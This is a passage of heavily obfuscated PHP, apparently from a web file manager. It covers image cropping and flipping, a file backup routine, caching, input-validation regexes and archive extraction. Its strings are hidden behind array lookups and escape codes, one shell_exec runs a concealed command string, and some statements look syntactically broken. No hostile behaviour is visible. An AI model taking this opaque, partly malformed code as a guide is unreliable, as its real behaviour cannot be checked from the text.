$this->echoImage($B, $Aԗ򈄈); } } function cut($d, $b, $A袄) { goto c֝; c֝: $f = $b / $A袄; $AϺ = $this->srcW / $this->srcH; if ($f <= $AϺ) { $fԔΕ = $A袄; $E󪦗 = $fԔΕ * ($this->srcW / $this->srcH); } else { $E󪦗 = $b; $fԔΕ = $E󪦗 * ($this->srcH / $this->srcW); } goto b; b: $B͡֎ = $this->creatImage($this->im, $E󪦗, $fԔΕ, 0, 0, 0, 0, $this->srcW, $this->srcH); $cƮǧ = $this->creatImage($B͡֎, $b, $A袄, 0, 0, ($E󪦗 - $b) / 2, ($fԔΕ - $A袄) / 2, $b, $A袄); imageDestroy($B͡֎); goto a副; a副: return $this->echoImage($cƮǧ, $d); goto Eή; Eή: } function backFill($B, $C兎ߺ, $Bֵ觇, $Dж = false, $fȖ = 255, $Fͭ = 255, $Aܝ = 255) { goto C؅; e㨊: if ($Dж) { $eۥ = imageColorTransparent($bֳ˄, $eۥ); $E㌒ = $Bֵ觇 - $bԄ; } imageFilledRectangle($bֳ˄, 0, 0, $C兎ߺ, $Bֵ觇, $eۥ); if ($this->srcW > $C兎ߺ || $this->srcH > $Bֵ觇) { $D됫 = $this->creatImage($this->im, $eى, $bԄ, 0, 0, 0, 0, $this->srcW, $this->srcH); if ($eى < $C兎ߺ) { imageCopy($bֳ˄, $D됫, ($C兎ߺ - $eى) / 2, 0, 0, 0, $eى, $bԄ); } else { if ($bԄ < $Bֵ觇) { imageCopy($bֳ˄, $D됫, 0, $E㌒, 0, 0, $eى, $bԄ); } else { imageCopy($bֳ˄, $D됫, 0, 0, 0, 0, $eى, $bԄ); } } } else { imageCopyMerge($bֳ˄, $this->im, ($C兎ߺ - $eى) / 2, $E㌒, 0, 0, $eى, $bԄ, 100); } goto Eçδ; Fѫ: if (function_exists($_SERVER[ȦÆ][1839])) { @($bֳ˄ = imageCreateTrueColor($C兎ߺ, $Bֵ觇)); if (!$bֳ˄) { $bֳ˄ = imageCreate($C兎ߺ, $Bֵ觇); } } else { $bֳ˄ = imageCreate($C兎ߺ, $Bֵ觇); } $E㌒ = ($Bֵ觇 - $bԄ) / 2; $eۥ = imagecolorallocate($bֳ˄, $fȖ, $Fͭ, $Aܝ); goto e㨊; Eçδ: return $this->echoImage($bֳ˄, $B); goto a㛍嬤; C؅: $d׻ = $C兎ߺ / $Bֵ觇; $c􉒇 = $this->srcW / $this->srcH; if ($d׻ <= $c􉒇) { $eى = $C兎ߺ; $bԄ = $eى * ($this->srcH / $this->srcW); } else { $bԄ = $Bֵ觇; $eى = $bԄ * ($this->srcW / $this->srcH); } goto Fѫ; a㛍嬤: } function creatImage($A䅵, $DĆ, $Dϛ, $C, $Bͭ, $E·, $aɬ, $fţ, $E) { if (function_exists($_SERVER[ȦÆ][1839])) { @($d = ImageCreateTrueColor($DĆ, $Dϛ)); @imagealphablending($d, !1); @imagesavealpha($d, !0); if ($d) { imageCopyResampled($d, $A䅵, $C, $Bͭ, $E·, $aɬ, $DĆ, $Dϛ, $fţ, $E); } else { $d = ImageCreate($DĆ, $Dϛ); imageCopyResized($d, $A䅵, $C, $Bͭ, $E·, $aɬ, $DĆ, $Dϛ, $fţ, $E); } } else { $d = ImageCreate($DĆ, $Dϛ); imageCopyResized($d, $A䅵, $C, $Bͭ, $E·, $aɬ, $DĆ, $Dϛ, $fţ, $E); } return $d; } public function imgRotate($E差, $dƥ) { goto Bڡ; Bڡ: if (!$this->im || $dƥ % 360 === 0 || !function_exists($_SERVER[ȦÆ][1840])) { return !1; } $Eٝ = imageRotate($this->im, 360 - $dƥ, 0); $F䷗ = !1; goto f; Aȅн: return $F䷗; goto EȎᄱ; f: switch ($this->imgData[2]) { case IMAGETYPE_GIF: $F䷗ = imagegif($Eٝ, $E差); break; case IMAGETYPE_JPEG: $F䷗ = imagejpeg($Eٝ, $E差, 100); break; case IMAGETYPE_PNG: $F䷗ = imagePNG($Eٝ, $E差); break; default: break; } imageDestroy($Eٝ); imageDestroy($this->im); goto Aȅн; EȎᄱ: } function echoImage($FŜެ, $cݒ) { goto A䥘; AԚ: $c = !1; switch ($this->echoType) { case $Dڃ[1841]: $c = imagePNG($FŜެ); break; case $Dڃ[173]: $c = imagePNG($FŜެ, $cݒ); break; } imageDestroy($FŜެ); goto eܷ; eܷ: imageDestroy($this->im); return $c; goto aӐ; A䥘: $Dڃ =& $_SERVER[ȦÆ]; if (!$FŜެ) { return !1; } ob_get_clean(); goto AԚ; aӐ: } } if (!function_exists($_SERVER[ȦÆ][1842])) { define($_SERVER[ȦÆ][1843], 0); define($_SERVER[ȦÆ][1844], 1); define($_SERVER[ȦÆ][1845], 2); function imageflip($EƧ, $bǺ) { switch ($bǺ) { case IMG_FLIP_HORIZONTAL: $fޕï = imagesx($EƧ) - 1; $Bеȸ = $fޕï / 2; $Cۃ = imagesy($EƧ); $B = imageistruecolor($EƧ) ? imagecreatetruecolor(1, $Cۃ) : imagecreate(1, $Cۃ); for ($dŢ = 0; $dŢ < $Bеȸ; ++$dŢ) { imagecopy($B, $EƧ, 0, 0, $dŢ, 0, 1, $Cۃ); imagecopy($EƧ, $EƧ, $dŢ, 0, $fޕï - $dŢ, 0, 1, $Cۃ); imagecopy($EƧ, $B, $fޕï - $dŢ, 0, 0, 0, 1, $Cۃ); } break; case IMG_FLIP_VERTICAL: $D̹Ͻ = imagesx($EƧ); $Eѻ = imagesy($EƧ) - 1; $E = $Eѻ / 2; $B = imageistruecolor($EƧ) ? imagecreatetruecolor($D̹Ͻ, 1) : imagecreate($D̹Ͻ, 1); for ($fȟ = 0; $fȟ < $E; ++$fȟ) { imagecopy($B, $EƧ, 0, 0, 0, $fȟ, $D̹Ͻ, 1); imagecopy($EƧ, $EƧ, 0, $fȟ, 0, $Eѻ - $fȟ, $D̹Ͻ, 1); imagecopy($EƧ, $B, 0, $Eѻ - $fȟ, 0, 0, $D̹Ͻ, 1); } break; case IMG_FLIP_BOTH: $D̹Ͻ = imagesx($EƧ); $Cۃ = imagesy($EƧ); $B = imagerotate($EƧ, 180, 0); imagecopy($EƧ, $B, 0, 0, 0, 0, $D̹Ͻ, $Cۃ); break; default: return; } imagedestroy($B); } } if (!function_exists($_SERVER[ȦÆ][1846])) { function imagecreatefrombmp($eϺϲ) { return ImageGdBMP::load($eϺϲ); } } goto F; eÃ: class BackupFile { public function __construct() { } public function index() { goto bߩ; aɫ: $eܺ = 1000; $F = $fҰԙ = 0; $A݂ = array(); goto B렝; Âιǰ: $E = (int) Model($_SERVER[ȦÆ][720])->where($F֒׫)->count($_SERVER[ȦÆ][424]); $a̭ = (int) Model($_SERVER[ȦÆ][720])->where($F֒׫)->sum($_SERVER[ȦÆ][87]); $D华ˎ = new TaskFileTransfer($_SERVER[ȦÆ][737], $_SERVER[ȦÆ][713], $E, LNG($_SERVER[ȦÆ][714]) . $_SERVER[ȦÆ][715] . LNG($_SERVER[ȦÆ][738])); goto CŸ; eӵݑ: $bڳ݂ = $c鹈 ? 1 : 0; $b̴̌ = array($_SERVER[ȦÆ][751] => 1, $_SERVER[ȦÆ][704] => time(), $_SERVER[ȦÆ][710] => $bڳ݂, $_SERVER[ȦÆ][748] => $B༆, $_SERVER[ȦÆ][740] => $a̭, $_SERVER[ȦÆ][739] => $E); if ($fҰԙ) { $b̴̌[$_SERVER[ȦÆ][749]] = $e›; $b̴̌[$_SERVER[ȦÆ][750]] = $eÜ; } goto Dҋ; CŸ: $D华ˎ->task[$_SERVER[ȦÆ][699]] = $a̭; $b̴̌ = array($_SERVER[ȦÆ][739] => $E, $_SERVER[ȦÆ][740] => $a̭); Backup::set($b̴̌); goto Fӓכ; Dҋ: Backup::set($b̴̌); $this->_fileFilter($A݂); return !0; goto fֆτ; Fӓכ: $c鹈 = !0; $D̩ꉐ = $this->storeIds(); $aѾƤ = 1; goto aɫ; B렝: $eÜ = $e› = 0; do { $bιȤ = $_SERVER[ȦÆ][741]; $D؅ = Model($_SERVER[ȦÆ][720])->where($F֒׫)->field($bιȤ)->order($_SERVER[ȦÆ][742])->selectPage($eܺ, $aѾƤ); $bʼ = !empty($D؅[$_SERVER[ȦÆ][359]]) ? $D؅[$_SERVER[ȦÆ][359]] : array(); foreach ($bʼ as $d) { goto A; A: if (!$this->_fileExist($d, $A݂, $D̩ꉐ)) { $E -= 1; $a̭ -= (int) $d[$_SERVER[ȦÆ][87]]; write_log("\x66\x69\x6c\x65\x20\x6e\157\x74\x20\145\170\151\163\164\x2e\x66\151\154\x65\x49\104\x3a{$d[$_SERVER[ȦÆ][424]]}\54\40\160\x61\164\x68\x3a{$d[$_SERVER[ȦÆ][85]]}", $_SERVER[ȦÆ][743]); continue; } $Bٞ = $d[$_SERVER[ȦÆ][85]]; $fݔ = "\173\151\x6f\72{$Eݗש[$_SERVER[ȦÆ][692]]}\x7d" . substr($Bٞ, strlen("\x7b\151\157\x3a{$d[$_SERVER[ȦÆ][744]]}\x7d")); goto D; D: if (IO::exist($fݔ)) { $D华ˎ->updateFileEnd($d[$_SERVER[ȦÆ][38]], $d[$_SERVER[ȦÆ][87]]); } else { $fݔ = get_path_father($fݔ); IO::mkdir($fݔ); if (!IO::copy($Bٞ, $fݔ, $_SERVER[ȦÆ][745])) { write_log($_SERVER[ȦÆ][746] . $Bٞ . $_SERVER[ȦÆ][747] . $fݔ . $_SERVER[ȦÆ][481], $_SERVER[ȦÆ][713]); $c鹈 = !1; break; } } $B༆ = $d[$_SERVER[ȦÆ][424]]; $fҰԙ += 1; goto a; a: $F += $d[$_SERVER[ȦÆ][87]]; $e› += 1; $eÜ += $d[$_SERVER[ȦÆ][87]]; goto dܜ; dܜ: if ($F >= 1024 * 1024 * 100) { $b̴̌ = array($_SERVER[ȦÆ][748] => $B༆, $_SERVER[ȦÆ][749] => $e›, $_SERVER[ȦÆ][750] => $eÜ); Backup::set($b̴̌); $F = $fҰԙ = 0; } goto aӇ; aӇ: } $E = count($bʼ); $aѾƤ++; } while ($E == $eܺ); $D华ˎ->end(); goto eӵݑ; bߩ: $Eݗש = Backup::get(); $B༆ = $Eݗש[$_SERVER[ȦÆ][286]][$_SERVER[ȦÆ][173]][$_SERVER[ȦÆ][424]]; $F֒׫ = array($_SERVER[ȦÆ][425] => array($_SERVER[ȦÆ][735], $B༆), $_SERVER[ȦÆ][736] => array($_SERVER[ȦÆ][324], $Eݗש[$_SERVER[ȦÆ][692]])); goto Âιǰ; fֆτ: } private function _fileExist($aӅʈ, &$fϚ, $DӶ粕) { goto Dř; CԞɂȫ: $fϚ = array_merge($fϚ, array_to_keyvalue($fƕ, $Cړ܏[43], $Cړ܏[424])); return !1; goto cԃ; Dř: $Cړ܏ =& $_SERVER[ȦÆ]; $aӆ = $aӅʈ[$Cړ܏[85]]; if (in_array($aӅʈ[$Cړ܏[424]], $fϚ)) { return !1; } goto Dꃛ; Dꃛ: if (!in_array($aӅʈ[$Cړ܏[744]], $DӶ粕)) { return !1; } if (IO::exist($aӆ)) { return !0; } $C鉶 = get_path_father($aӆ); goto cژ; cژ: if (IO::exist($C鉶)) { $fϚ[] = $aӅʈ[$Cړ܏[424]]; return !1; } $b𺠪 = array($Cړ܏[744] => $aӅʈ[$Cړ܏[744]], $Cړ܏[85] => array($Cړ܏[752], "{$C鉶}\45")); $fƕ = Model($Cړ܏[720])->where($b𺠪)->field($Cړ܏[425])->select(); goto CԞɂȫ; cԃ: } private function _fileFilter($fͅȣ) { $dᒄ =& $_SERVER[ȦÆ]; if (empty($fͅȣ)) { return; } $F = array($dᒄ[424] => array($dᒄ[17], array_unique($fͅȣ))); $dͱ = Model($dᒄ[753])->where($F)->field($dᒄ[374])->select(); foreach ($dͱ as $fǕő) { Model($dᒄ[753])->remove($fǕő[$dᒄ[374]], !1); } } private function storeIds() { $eۆ =& $_SERVER[ȦÆ]; $Bޑ = Model($eۆ[705])->listData(); return array_to_keyvalue($Bޑ, $eۆ[43], $eۆ[372]); } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { goto A; A: $B =& $_SERVER[ȦÆ]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); goto A; dޡ: switch ($Cٙ[$B[754]]) { case $B[27]: self::$handle = Model($B[756]); break; case $B[757]: self::$handle = new CacheRedis($eǵ, $CǶ謣); break; case $B[758]: self::$handle = new CacheMemcached($eǵ, $CǶ謣); break; case $B[173]: self::$handle = new CacheFile($eǵ, $CǶ謣); break; default: break; } return self::$handle; goto f; A: $Cٙ = $GLOBALS[$B[16]][$B[342]]; $eǵ = $Cٙ[$Cٙ[$B[754]]]; $CǶ謣 = $Cٙ[$B[755]]; goto dޡ; f: } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($b) { if (is_array($b) || is_object($b)) { $b = json_encode($b); } $b = rawurlencode($b); return KOD_SITE_ID . $_SERVER[ȦÆ][80] . $b; } public static function get($eбҟ) { $E = self::key($eбҟ); if (!isset(self::$memoryCache[$E])) { $Aпሜ = self::init()->get($E); self::$memoryCache[$E] = unserialize($Aпሜ); } return self::$memoryCache[$E]; } public static function set($fܔ, $bˣ, $A܋ = false) { goto EՊϼ; EՊϼ: $DͲ = self::key($fܔ); if (isset(self::$memoryCache[$DͲ]) && self::$memoryCache[$DͲ] === $bˣ) { return !0; } if ($A܋ === 0) { self::$memoryCache[$DͲ] = $bˣ; return !0; } goto A҃; A҃: CacheLock::lock($fܔ); $cñ = self::init()->set($DͲ, serialize($bˣ), $A܋); self::$memoryCache[$DͲ] = $bˣ; goto Bޅ篚; Bޅ篚: CacheLock::unlock($fܔ); return $cñ; goto dߴ; dߴ: } public static function remove($dÄ) { goto f´; dߐ: return $d͎; goto Aѡ; f´: $Bժ = self::key($dÄ); unset(self::$memoryCache[$Bժ]); self::clearTimeout(); goto c; c: CacheLock::lock($dÄ); $d͎ = self::init()->remove($Bժ); CacheLock::unlock($dÄ); goto dߐ; Aѡ: } public static function clearMemory($cٞ = false) { if ($cٞ) { $cٞ = self::key($cٞ); unset(self::$memoryCache[$cٞ]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[ȦÆ][759])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[ȦÆ][760])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($b, $bŢ֯Ԧ) { $Dѩ⾋ =& $_SERVER[ȦÆ]; $this->cachePath = $b[$Dѩ⾋[85]]; $this->prefix = $Dѩ⾋[761]; $this->cacheTime = $bŢ֯Ԧ; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, 511, !0); } } public function getFile($bڐލ) { $Aٺ =& $_SERVER[ȦÆ]; $bڐލ = str_replace(array($Aٺ[762], $Aٺ[103], $Aٺ[79]), $Aٺ[763], $bڐލ); return $this->cachePath . $Aٺ[764] . $bڐލ . $Aٺ[765]; } public function set($e, $D˘, $A = false) { $A폍Œ = $this->getFile($e); if (file_put_contents($A폍Œ, $this->prefix . $D˘, LOCK_EX)) { return !0; } @unlink($A폍Œ); return !1; } public function get($B) { $B릈 = $this->getFile($B); if (file_exists($B릈) && filemtime($B릈) < time() - $this->cacheTime) { @unlink($B릈); return !1; } $e֡ = @file_get_contents($B릈); return substr($e֡, strlen($this->prefix)); } public function remove($E) { $c糥 = $this->getFile($E); return @unlink($c糥); } public function deleteAll() { $F =& $_SERVER[ȦÆ]; $Dӻߙީ = scandir($this->cachePath); foreach ($Dӻߙީ as $fᄺ) { $b‚ = $this->cachePath . $fᄺ; if (strpos($b‚, $F[765]) && strpos($b‚, $F[766])) { @unlink($b‚); } } } public function clearTimeout() { $B =& $_SERVER[ȦÆ]; $f˗ = scandir($this->cachePath); foreach ($f˗ as $B) { $ežԤ = $this->cachePath . $B; if (strpos($ežԤ, $B[765]) && strpos($ežԤ, $B[766]) && filemtime($ežԤ) < time() - $this->cacheTime) { @unlink($ežԤ); } } } } goto eú; F: class Input { public static function getArray($fɡȘ) { goto c; B͎: $C = array(); $B뇮 = LNG($FԵȵ[1847]); foreach ($fɡȘ as $D => $F쯇) { goto f䦛; f䦛: $aެ = _get($F쯇, $FԵȵ[1232], $B뇮 . $FԵȵ[875] . $D); $eƭ = $D; if (isset($F쯇[$FԵȵ[1848]]) && $F쯇[$FԵȵ[1848]]) { $eƭ = $F쯇[$FԵȵ[1848]]; } goto cˢ; cˢ: if (!array_key_exists($D, $in)) { if (array_key_exists($FԵȵ[1849], $F쯇)) { if (!is_null($F쯇[$FԵȵ[1849]])) { $d羐[$eƭ] = $F쯇[$FԵȵ[1849]]; } } else { if (isset($F쯇[$FԵȵ[1850]])) { $C[] = $aެ; } } continue; } if (isset($F쯇[$FԵȵ[1850]]) && $F쯇[$FԵȵ[1850]] == $FԵȵ[287]) { $Dŏߣ = json_decode($in[$D], !0); if (is_array($Dŏߣ)) { $d羐[$eƭ] = $Dŏߣ; } else { if (array_key_exists($FԵȵ[1849], $F쯇)) { if (!is_null($F쯇[$FԵȵ[1849]])) { $d羐[$eƭ] = $F쯇[$FԵȵ[1849]]; } } else { $C[] = $aެ; } } continue; } $Cվ = _get($F쯇, $FԵȵ[1004]); goto a; a: if (isset($F쯇[$FԵȵ[1850]]) && !self::check($in[$D], $F쯇[$FԵȵ[1850]], $Cվ)) { if (array_key_exists($FԵȵ[1849], $F쯇)) { if (!is_null($F쯇[$FԵȵ[1849]])) { $d羐[$eƭ] = $F쯇[$FԵȵ[1849]]; } } else { $C[] = $aެ; } continue; } $d羐[$eƭ] = $in[$D]; goto d;; d;: } goto e; e: if (count($C) > 0) { show_json(implode($FԵȵ[1851], $C), !1); } return $d羐; goto aȞ; c: $FԵȵ =& $_SERVER[ȦÆ]; global $in; $d羐 = array(); goto B͎; aȞ: } public static function reg($eљ = "\x72\145\x71\165\x69\x72\145") { static $Aϙ = array("\162\x65\x71\165\x69\x72\145" => "\x2e\x2b", "\156\165\155\142\x65\162" => "\134\144\x2b", "\x68\145\x78" => "\x5b\60\55\71\101\55\106\x61\x2d\146\135\53", "\151\x6e\x74" => "\133\x2d\134\x2b\135\77\134\144\53", "\x62\x6f\x6f\154" => "\x30\174\61", "\x66\154\157\141\x74" => "\133\x2d\x5c\53\x5d\x3f\134\x64\53\50\134\56\x5c\x64\53\51\x3f", "\145\x6e\x67\154\x69\163\x68" => "\x5b\x41\x2d\132\141\x2d\x7a\40\x5d\x2b", "\x63\150\151\156\x65\163\x65" => "\133\134\170\173\64\145\x30\x30\175\x2d\134\x78\173\71\146\141\65\175\x5d\53", "\x68\141\x73\x43\x68\x69\x6e\145\163\x65" => "\x2f\50\x5b\x5c\x78\173\64\x65\60\x30\175\55\134\x78\173\71\146\141\x35\175\x5d\53\51\57\165", "\145\x6d\141\151\154" => "\x5c\x77\53\50\x5b\x5c\56\x5c\55\x5d\134\x77\53\51\52\x5c\100\x5c\167\x2b\50\x5b\x5c\56\134\x2d\x5d\x5c\x77\x2b\x29\x2a\x5c\56\134\167\53", "\160\x68\157\x6e\x65" => "\61\133\63\55\x39\135\x5c\144\x7b\x39\x7d", "\164\145\x6c\x70\150\157\156\145" => "\x28\x5c\50\x5c\x64\173\x33\x2c\64\175\x5c\x29\x7c\134\144\173\63\54\64\x7d\55\x7c\x5c\163\x29\77\x5c\144\x7b\x37\x2c\61\x34\175", "\165\x72\154" => "\x28\150\164\x74\160\174\x66\164\160\x7c\x68\164\x74\x70\x73\51\x3a\x5c\57\x5c\57\133\x5c\167\x5c\x2d\x5f\135\53\50\134\56\x5b\x5c\167\x5c\55\137\x5d\x2b\x29\x2b\x28\133\x5c\167\134\55\134\x2e\x2c\x40\77\136\75\45\46\72\x5c\57\x7e\x5c\53\43\135\52\x5b\134\167\x5c\55\x5c\100\x3f\x5e\75\x25\x26\134\57\x7e\x5c\x2b\x23\x5d\x29\x3f", "\x75\x72\x6c\x46\x75\x6c\x6c" => "\133\x61\x2d\172\101\55\172\135\53\x3a\134\x2f\x5c\57\x5b\136\x5c\x73\x5d\x2a", "\x69\x70" => "\x28\x5c\x64\x7b\x31\x2c\x33\x7d\134\x2e\x29\x7b\x33\x7d\50\134\x64\x7b\61\x2c\x33\x7d\x29", "\x7a\x69\160" => "\133\61\55\x39\x5d\134\x64\173\x35\175\50\x3f\x21\x5c\144\x29", "\151\144\103\x61\162\144" => "\50\134\144\173\61\x35\x7d\51\x7c\50\x5c\x64\x7b\x31\x37\x7d\50\134\144\x7c\130\x7c\x78\x29\x29", "\x63\x6f\x6c\x6f\x72" => "\x23\x28\x5b\x30\55\71\x41\55\x46\x61\x2d\146\x5d\173\x33\x7d\x7c\133\x30\x2d\x39\x41\55\x46\141\x2d\x66\135\x7b\66\x7d\51", "\164\x69\155\145" => "\x28\133\60\55\61\135\x5c\x64\174\62\x5b\x30\55\x34\x5d\51\x3a\133\x30\x2d\65\x5d\134\144", "\x64\141\x74\x65" => "\x5c\144\173\x34\x7d\x5b\x2d\134\x2f\x5d\x3f\50\x30\x5b\x31\x2d\71\x5d\x7c\x31\133\x30\x2d\x32\135\x29\x5b\x2d\x5c\57\135\77\x28\133\60\x2d\x32\135\x5c\x64\x7c\x33\x5b\60\x2d\61\x5d\51", "\x64\141\x74\145\124\151\155\x65" => "\x5c\144\x7b\64\175\x5b\x2d\134\x2f\x5d\x3f\50\x30\x5b\61\55\x39\x5d\174\x31\133\x30\x2d\x32\135\x29\133\x2d\x5c\x2f\x5d\77\50\x5b\60\55\62\135\134\x64\x7c\63\x5b\x30\55\x31\135\x29\134\x73\x2b\50\133\x30\55\x31\x5d\134\144\174\62\133\x30\x2d\64\x5d\51\72\x5b\60\55\x35\x5d\x5c\x64", "\160\141\x73\163\x77\157\162\x64" => "\x28\77\75\x2e\x2a\x5c\144\51\50\77\x3d\56\52\x5b\141\x2d\x7a\135\51\50\x3f\75\56\x2a\x5b\101\x2d\x5a\135\x29\56\173\70\54\62\x30\175", "\153\x65\x79" => "\x5b\101\x2d\x5a\x61\x2d\172\60\55\x39\137\x5c\55\x5c\x2e\x5d\x2b", "\153\x65\171\x46\165\154\x6c" => "\133\101\x2d\132\x61\55\x7a\60\x2d\71\x5f\134\55\134\x2e\x5c\x73\54\135\53"); if (!$eљ) { return $Aϙ; } return $Aϙ[$eљ]; } public static function check($Fƕ, $bٯ, $Bڈ = null) { $C =& $_SERVER[ȦÆ]; switch ($bٯ) { case $C[17]: return in_array($Fƕ, $Bڈ); break; case $C[1852]: return floatval($Fƕ) > $Bڈ; break; case $C[1853]: return floatval($Fƕ) < $Bڈ; break; case $C[330]: return strlen($Fƕ) >= $Bڈ[0] && strlen($Fƕ) <= $Bڈ[1]; break; case $C[330]: if (is_array($Bڈ)) { return strlen($Fƕ) >= $Bڈ[0] && strlen($Fƕ) <= $Bڈ[1]; break; } else { return strlen($Fƕ) == $Bڈ; break; } case $C[326]: return floatval($Fƕ) >= $Bڈ[0] && floatval($Fƕ) <= $Bڈ[1]; break; } $a = self::reg(!1); $bٯ = isset($a[$bٯ]) ? $a[$bٯ] : $bٯ; if (substr($bٯ, 0, 1) != $C[18]) { $bٯ = $C[1854] . $bٯ . $C[1855]; } return preg_match($bٯ, $Fƕ) === 1; } public static function get($F΢󋖃, $B蓂 = null, $EߘǼ = null, $c = null) { goto f۷ԋ; Fǣщ: return $f֩ԉ[$F΢󋖃]; goto f; dγ: if (!is_null($c)) { $dư[$bК[1004]] = $c; } if (!is_null($B蓂)) { $dư[$bК[1850]] = $B蓂; } $f֩ԉ = Input::getArray(array($F΢󋖃 => $dư)); goto Fǣщ; f۷ԋ: $bК =& $_SERVER[ȦÆ]; $dư = array(); if (!is_null($EߘǼ)) { $dư[$bК[44]] = $EߘǼ; } goto dγ; f: } } class KodArchive { static function init() { goto B; c̡: mk_dir(TEMP_FILES); require_once ARCHIVE_LIB . $aȻظ[1862]; require_once ARCHIVE_LIB . $aȻظ[1863]; goto bnjĐ; B: $aȻظ =& $_SERVER[ȦÆ]; if (defined($aȻظ[1856])) { return; } define($aȻظ[1856], SDK_DIR . $aȻظ[1857]); goto b釽; f늫: require_once ARCHIVE_LIB . $aȻظ[1867]; goto F; b釽: define($aȻظ[1858], TEMP_FILES); define($aȻظ[1859], TEMP_FILES); define($aȻظ[1860], $aȻظ[1861]); goto c̡; bnjĐ: require_once ARCHIVE_LIB . $aȻظ[1864]; require_once ARCHIVE_LIB . $aȻظ[1865]; require_once ARCHIVE_LIB . $aȻظ[1866]; goto f늫; F: } static function checkIfType($a纅, $f) { goto AΉ; e: return $Eы; goto b; AΉ: $B琚 =& $_SERVER[ȦÆ]; self::init(); $bþ = array($B琚[306] => array($B琚[306], $B琚[1868], $B琚[1869], $B琚[1870]), $B琚[1871] => array($B琚[1871], $B琚[1872], $B琚[1036], $B琚[1034]), $B琚[1038] => array($B琚[1038], $B琚[1873], $B琚[1874], $B琚[1875], $B琚[1876], $B琚[1877], $B琚[1878])); goto F; F: $Eы = in_array($a纅, $bþ[$f]); if ($Eы && ($f == $B琚[306] || $f == $B琚[1871]) && (!function_exists($B琚[1879]) || !function_exists($B琚[1880]))) { show_tips($B琚[1881]); } if ($Eы && $f == $B琚[1038] && (!function_exists($B琚[1882]) || !strstr(shell_exec($B琚[1883]), $B琚[1884]))) { show_tips($B琚[1885]); } goto e; b: } static function listContent($Eݓэ, $BҰ = true) { $Bƽ =& $_SERVER[ȦÆ]; self::init(); $EǏ = !empty($GLOBALS[$Bƽ[1042]]) ? $GLOBALS[$Bƽ[1042]] : get_path_ext($Eݓэ); $f뤺 = !1; if (self::checkIfType($EǏ, $Bƽ[1871])) { $CІ = PclTarList($Eݓэ, $EǏ); $f뤺 = array(); for ($F麑 = 0; $F麑 < count($CІ); $F麑++) { $fʲ = $CІ[$F麑]; if ($fʲ[$Bƽ[1886]] == $Bƽ[1887] || $fʲ[$Bƽ[1886]] == $Bƽ[1888]) { continue; } if ($BҰ) { $fʲ[$Bƽ[1889]] = ltrim($fʲ[$Bƽ[1889]], $Bƽ[1140]); } if ($fʲ[$Bƽ[1886]] == $Bƽ[1890]) { $fʲ[$Bƽ[86]] = !0; } else { $fʲ[$Bƽ[86]] = !1; } $fʲ[$Bƽ[1029]] = $F麑; $f뤺[] = $fʲ; } } else { if (self::checkIfType($EǏ, $Bƽ[1038])) { $C٪珿 = kodRarArchive::listContent($Eݓэ); if (!$C٪珿[$Bƽ[1025]]) { return $C٪珿; } else { $f뤺 = $C٪珿[$Bƽ[1027]]; } } else { if (kodZipArchive::support($Bƽ[359])) { $f뤺 = kodZipArchive::listContent($Eݓэ); } else { $EǕ = new PclZip($Eݓэ); $f뤺 = $EǕ->listContent(); } } } if ($f뤺) { $cލ = unzip_charset_get($f뤺); $BҰ = $BҰ && function_exists($Bƽ[75]); for ($F麑 = 0; $F麑 < count($f뤺); $F麑++) { $f뤺[$F麑][$Bƽ[1889]] = str_replace(array($Bƽ[1065], $Bƽ[1891]), $Bƽ[763], $f뤺[$F麑][$Bƽ[1889]]); if ($BҰ) { $f뤺[$F麑][$Bƽ[1889]] = iconv_to($f뤺[$F麑][$Bƽ[1889]], $cލ, $Bƽ[331]); unset($f뤺[$F麑][$Bƽ[1892]]); } } return array($Bƽ[1025] => !0, $Bƽ[1027] => $f뤺); } else { return array($Bƽ[1025] => !1, $Bƽ[1027] => $f뤺); } } static function extract($b뗆, $C܈, $fݞ = "\x2d\61", &$bř߱ = false) { goto f; E佫֣: $dͺ̆ = self::listContent($b뗆, !1); if (!$dͺ̆[$D˼[1025]]) { return $dͺ̆; } if ($fݞ != $D˼[1024]) { goto B޸Մ; B޸Մ: $Aɑё = self::fileIndex($dͺ̆[$D˼[1027]], $fݞ); $bř߱ = str_replace(array($D˼[1065], $D˼[1891]), $D˼[80], $Aɑё[$D˼[1889]]); $A¡ = $bř߱; goto eцƟ; c뫄ӿ: if ($Aɑё[$D˼[86]]) { $A¡ = rtrim($A¡, $D˼[18]) . $D˼[18]; $bř߱ = array($bř߱); } $d񎯒 = str_replace($D˼[103], $D˼[18], $A¡); if (substr($d񎯒, -1) == $D˼[18]) { if (!strstr(trim($d񎯒, $D˼[18]), $D˼[18])) { $C܈ = $C܈ . get_path_this($d񎯒) . $D˼[18]; } } else { if ($e׆ == $A¡) { $e׆ = $D˼[43]; } } goto FŽ; eцƟ: if ($GLOBALS[$D˼[16]][$D˼[1138]] != $D˼[331]) { $A¡ = unzip_pre_name($bř߱); } $e׆ = get_path_father($bř߱); if ($e׆ == $bř߱) { $e׆ = $D˼[43]; } goto c뫄ӿ; FŽ: } goto B̘ӗ; B̘ӗ: if (self::checkIfType($Aܘ, $D˼[1871])) { if ($fݞ != $D˼[1024]) { $A¡ = unzip_pre_name($A¡); $e׆ = unzip_pre_name($e׆); $f = PclTarExtractList($b뗆, array($A¡), $C܈, $e׆, $Aܘ); } else { $f = PclTarExtract($b뗆, $C܈, $D˼[366], $Aܘ); } return array($D˼[1025] => $f, $D˼[1027] => PclErrorString(!0)); } else { if (self::checkIfType($Aܘ, $D˼[1038])) { return kodRarArchive::extract($b뗆, $C܈, $Aܘ, $bř߱); } else { if (kodZipArchive::support($D˼[1893])) { return kodZipArchive::extract($b뗆, $C܈, $bř߱); } else { $Cߚ = new PclZip($b뗆); if ($fݞ != $D˼[1024]) { $f = $Cߚ->extract(PCLZIP_OPT_PATH, $C܈, PCLZIP_OPT_SET_CHMOD, DEFAULT_PERRMISSIONS, PCLZIP_CB_PRE_FILE_NAME, $D˼[1894], PCLZIP_OPT_BY_NAME, $Aɑё[$D˼[1889]], PCLZIP_OPT_REMOVE_PATH, $e׆, PCLZIP_OPT_REPLACE_NEWER); } else { $f = $Cߚ->extract(PCLZIP_OPT_PATH, $C܈, 